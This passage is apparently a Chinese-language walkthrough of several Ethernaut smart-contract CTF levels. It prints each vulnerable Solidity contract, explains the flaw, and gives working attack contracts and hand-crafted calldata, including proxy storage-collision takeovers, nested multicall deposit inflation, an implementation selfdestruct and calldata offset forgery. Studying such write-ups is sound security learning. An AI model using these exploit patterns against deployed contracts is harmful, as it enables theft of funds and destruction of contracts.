SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf(address token, address account) public view returns (uint256) { return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; } function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
依据规则,我们可以实现如下交换代币:
token1
token2
sender -> contract
contract -> sender
100
100
10 token1
10 token2
110
90
20 token2
24 token1
86
110
24 token1
30 token2
持续下去,我们可以使得其中一种token
的数量归零。
level23 DEX2
题目:
1 2 上述合约删除swap函数中的 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
题目信任了所有的ERC20
代币合约。我们可以根据给出的SwappableToken
函数构建另外两个自定义的冥币token
,然后使用我们的冥币去兑换题目合约中的token
。
level24 Puzzle Wallet
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin() { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } receive() external payable { } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted() { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success,) = to.call{value: value}(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success,) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
题目使用PuzzleProxy
合约对PuzzleWallet
合约进行代理。通过fallback
函数和delegatecall
实现代理合约对逻辑合约中函数的调用。但是使用delegatecall
时两个合约的插槽存在冲突,PuzzleProxy.pendingAdmin == PuzzleWallet.owner
,PuzzleProxy.admin == PuzzleWallet.maxBalance
。题目给出了PuzzleProxy
合约的地址,同时对外暴露PuzzleWallet
合约的接口。
首先调用approveNewAdmin()
函数修改PuzzleProxy.pendingAdmin
为自身,这会使得PuzzleWallet.owner
也会变成自身,绕过msg.sender == owner
检查。调用addToWhitelist()
函数将自身加入白名单,绕过onlyWhitelisted
检查。由于multicall()
函数只限制了deposit()
函数的调用次数,并没有限制在multicall()
中调用multicall()
,如此一来就可以利用这个函数多次调用deposit()
函数。多次调用直到balances[]
中记录的值超过合约中的存款。调用execute()
函数清空存款。调用setMaxBalance()
函数修改PuzzleWallet.maxBalance
为自身地址的大小,这会使得PuzzleProxy.admin
同步修改为自身。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Proxy.GetContract() Proxy.PayableCall('proposeNewAdmin' , ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23' ]) print (Proxy.ViewCall('pendingAdmin' , []))Wallet.GetContract() Wallet.PayableCall('addToWhitelist' , ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23' ]) print (Wallet.ViewCall('whitelisted' , ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23' ]))print (Wallet.GetBalance())Wallet.PayableCall('multicall' , [["0xd0e30db0" , "0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000" ]], 0.001 ) print (Wallet.GetBalance())Wallet.PayableCall('execute' , ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23' , int (0.002 * 10 ** 18 ), '0x' ]) print (Wallet.GetBalance())Wallet.PayableCall('setMaxBalance' , [0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23 ]) print (Proxy.ViewCall('admin' , []))
调用时对的数据可以通过如下合约生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "Problem.sol"; contract Attack { bytes[] public result; function generate_data() public { bytes[] memory data_deposit = new bytes[](1); bytes[] memory data_multicall = new bytes[](2); data_deposit[0] = abi.encodeWithSelector(wallet.deposit.selector); data_multicall[0] = data_deposit[0]; data_multicall[1] = abi.encodeWithSelector(wallet.multicall.selector, data_deposit); result = data_multicall; } receive() external payable { } constructor() payable { } }
level25 Motorbike
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 // SPDX-License-Identifier: MIT pragma solidity <0.7.0; import "openzeppelin-contracts-06/utils/Address.sol"; import "openzeppelin-contracts-06/proxy/Initializable.sol"; contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; struct AddressSlot { address value; } // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()")); require(success, "Call failed"); } // Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } // Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback() external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); } // Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } } contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; address public upgrader; uint256 public horsePower; struct AddressSlot { address value; } function initialize() external initializer { horsePower = 1000; upgrader = msg.sender; } // Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); } // Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); } // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall(address newImplementation, bytes memory data) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } } // Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); AddressSlot storage r; assembly { r_slot := _IMPLEMENTATION_SLOT } r.value = newImplementation; } }
所有操作室通过delegatecall
在代理合约实现的,并没有修改实际的逻辑合约。我们可以直接跟逻辑合约交互,让他再代理一层我们自己的合约,执行selfdestruct
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "Problem.sol"; contract Attack { Engine en = Engine(0xc51071aBcb9c624fBF2EebeD35C937eEffE8b966); bytes public result; function attack() external payable { en.initialize(); bytes memory data = abi.encodeWithSelector(this.destruct.selector); result = data; en.upgradeToAndCall(address(this), data); } function destruct() public { selfdestruct(address(0)); } receive() payable external { } constructor() payable { } }
level27 Good Samaritan
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "openzeppelin-contracts-08/utils/Address.sol"; contract GoodSamaritan { Wallet public wallet; Coin public coin; constructor() { wallet = new Wallet(); coin = new Coin(address(wallet)); wallet.setCoin(coin); } function requestDonation() external returns (bool enoughBalance) { // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; } catch (bytes memory err) { if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) { // send the coins left wallet.transferRemainder(msg.sender); return false; } } } } contract Coin { using Address for address; mapping(address => uint256) public balances; error InsufficientBalance(uint256 current, uint256 required); constructor(address wallet_) { // one million coins for Good Samaritan initially balances[wallet_] = 10 ** 6; } function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough if (amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; if (dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); } } else { revert InsufficientBalance(currentBalance, amount_); } } } contract Wallet { // The owner of the wallet instance address public owner; Coin public coin; error OnlyOwner(); error NotEnoughBalance(); modifier onlyOwner() { if (msg.sender != owner) { revert OnlyOwner(); } _; } constructor() { owner = msg.sender; } function donate10(address dest_) external onlyOwner { // check balance left if (coin.balances(address(this)) < 10) { revert NotEnoughBalance(); } else { // donate 10 coins coin.transfer(dest_, 10); } } function transferRemainder(address dest_) external onlyOwner { // transfer balance left coin.transfer(dest_, coin.balances(address(this))); } function setCoin(Coin coin_) external onlyOwner { coin = coin_; } } interface INotifyable { function notify(uint256 amount) external; }
题目信任了外部合约,但是外部合约也可以抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GoodSamaritan { function requestDonation() external returns (bool enoughBalance); } interface Coin { function transfer(address dest_, uint256 amount_) external; } contract Attack { error NotEnoughBalance(); function attack() public { GoodSamaritan s = GoodSamaritan(0x42D876AE69C2998ba4a61005Aa1D55b736Cf1161); s.requestDonation(); } function notify(uint256 amount) external { if(amount < 100) { revert NotEnoughBalance(); } } constructor() { } receive() external payable { } }
level28 Gatekeeper Three
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleTrick { GatekeeperThree public target; address public trick; uint256 private password = block.timestamp; constructor(address payable _target) { target = GatekeeperThree(_target); } function checkPassword(uint256 _password) public returns (bool) { if (_password == password) { return true; } password = block.timestamp; return false; } function trickInit() public { trick = address(this); } function trickyTrick() public { if (address(this) == msg.sender && address(this) != trick) { target.getAllowance(password); } } } contract GatekeeperThree { address public owner; address public entrant; bool public allowEntrance; SimpleTrick public trick; function construct0r() public { owner = msg.sender; } modifier gateOne() { require(msg.sender == owner); require(tx.origin != owner); _; } modifier gateTwo() { require(allowEntrance == true); _; } modifier gateThree() { if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { _; } } function getAllowance(uint256 _password) public { if (trick.checkPassword(_password)) { allowEntrance = true; } } function createTrick() public { trick = new SimpleTrick(payable(address(this))); trick.trickInit(); } function enter() public gateOne gateTwo gateThree { entrant = tx.origin; } receive() external payable {} }
一个一个绕就好,在同一次交易中block.timestamp
永远是一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./problem.sol"; contract Attack { GatekeeperThree gk3 = GatekeeperThree(payable(0x232C42E63f776A7AffAF1C02eeb58579158821dF)); function attack() public { gk3.construct0r(); gk3.createTrick(); gk3.getAllowance(block.timestamp); (bool b, ) = payable(address(gk3)).call{value: 0.002 ether}(''); gk3.enter(); } function rece1ve() public payable { } constructor() { } }
level29 Switch
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Switch { bool public switchOn; // switch is off bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()")); modifier onlyThis() { require(msg.sender == address(this), "Only the contract can call this"); _; } modifier onlyOff() { // we use a complex data type to put in memory bytes32[1] memory selector; // check that the calldata at position 68 (location of _data) assembly { calldatacopy(selector, 68, 4) // grab function selector from calldata } require(selector[0] == offSelector, "Can only call the turnOffSwitch function"); _; } function flipSwitch(bytes memory _data) public onlyOff { (bool success,) = address(this).call(_data); require(success, "call failed :("); } function turnSwitchOn() public onlyThis { switchOn = true; } function turnSwitchOff() public onlyThis { switchOn = false; } }
题目通过检测calldata
中的特定位置来做限制,我们可以伪造它。calldata
中的不定长度参数依照offset、length、data
的格式传入。
1 2 3 4 5 6 7 await web3.eth .sendTransaction ( { from : player, to : contract.address , data : '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000004020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000' } )
函数选择器:0x30c13ade
构造offset
:0x40
过检测的东西:0x20606e15
构造length
:0x4
真正的参数:0x76227e12
level30 HigherOrder
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract HigherOrder { address public commander; uint256 public treasury; function registerTreasury(uint8) public { assembly { sstore(treasury_slot, calldataload(4)) } } function claimLeadership() public { if (treasury > 255) commander = msg.sender; else revert("Only members of the Higher Order can become Commander"); } }
构造一个大于255的参数即可。
1 2 3 4 5 6 7 web3.eth .sendTransaction ( { from : player, to : contract.address , data : web3.eth .abi .encodeFunctionSignature ("registerTreasury(uint8)" ) + web3.utils .leftPad (web3.utils .toHex (0x4321 ), 64 ).slice (2 , ) } )
level31 Stake
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Stake { uint256 public totalStaked; mapping(address => uint256) public UserStake; mapping(address => bool) public Stakers; address public WETH; constructor(address _weth) payable{ totalStaked += msg.value; WETH = _weth; } function StakeETH() public payable { require(msg.value > 0.001 ether, "Don't be cheap"); totalStaked += msg.value; UserStake[msg.sender] += msg.value; Stakers[msg.sender] = true; } function StakeWETH(uint256 amount) public returns (bool){ require(amount > 0.001 ether, "Don't be cheap"); (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this))); require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?"); totalStaked += amount; UserStake[msg.sender] += amount; (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)); Stakers[msg.sender] = true; return transfered; } function Unstake(uint256 amount) public returns (bool){ require(UserStake[msg.sender] >= amount,"Don't be greedy"); UserStake[msg.sender] -= amount; totalStaked -= amount; (bool success, ) = payable(msg.sender).call{value : amount}(""); return success; } function bytesToUint(bytes memory data) internal pure returns (uint256) { require(data.length >= 32, "Data length must be at least 32 bytes"); uint256 result; assembly { result := mload(add(data, 0x20)) } return result; } }
题目合约StakeWETH
函数并未检查返回值,我们可以用一个合约去虚空质押。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "problem.sol"; interface WETH { function approve(address spender, uint256 value) external returns (bool); } contract Attack { Stake stake = Stake(0xa3d2894377e942Cf797e02504f094f67D8B09176); WETH weth = WETH(0x42A09C3fbfb22774936B5D5d085e2FA7963b0db8); function attack() public { bool b = weth.approve(0xa3d2894377e942Cf797e02504f094f67D8B09176, 1 ether); if(!b) revert(); stake.StakeETH{value : 0.1 ether}(); stake.StakeWETH(0.1 ether); } constructor() payable { } }
之后我们再实际质押eth并取出即可获得质押者身份。
1
2
3
4
步骤
合约虚空质押
合约质押真钱
玩家质押真钱
玩家取出真钱
totalStake
0.1
0.2
0.3
0.2
UserStake[player]
0
0
0.1
0
UserStake[hack_contract]
0.1
0.2
0.2
0.2
balance(problem)
0
0.1
0.2
0.1
level33 Magic Animal Carousel
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 // SPDX-License-Identifier: MIT pragma solidity ^0.8.28; contract MagicAnimalCarousel { uint16 constant public MAX_CAPACITY = type(uint16).max; uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16; uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160; uint256 constant OWNER_MASK = uint256(type(uint160).max); uint256 public currentCrateId; mapping(uint256 crateId => uint256 animalInside) public carousel; error AnimalNameTooLong(); constructor() { carousel[0] ^= 1 << 160; } function setAnimalAndSpin(string calldata animal) external { uint256 encodedAnimal = encodeAnimalName(animal) >> 16; uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160; require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong()); carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16) | ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender); currentCrateId = nextCrateId; } function changeAnimal(string calldata animal, uint256 crateId) external { address owner = address(uint160(carousel[crateId] & OWNER_MASK)); if (owner != address(0)) { require(msg.sender == owner); } uint256 encodedAnimal = encodeAnimalName(animal); if (encodedAnimal != 0) { // Replace animal carousel[crateId] = (encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender); } else { // If no animal specified keep same animal but clear owner slot carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK)); } } function encodeAnimalName(string calldata animalName) public pure returns (uint256) { require(bytes(animalName).length <= 12, AnimalNameTooLong()); return uint256(bytes32(abi.encodePacked(animalName)) >> 160); } fallback() external payable { } receive() external payable { } }
逆天题目描述。创建动物的时候名字最多10字节,修改动物名字的时候却允许12字节。可以覆盖id的位置为0。
1 2 3 4 5 web3.eth .sendTransaction ({ from : player, to : contract.address , data : "0x932289cc00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000c3132333435363738393000000000000000000000000000000000000000000000" })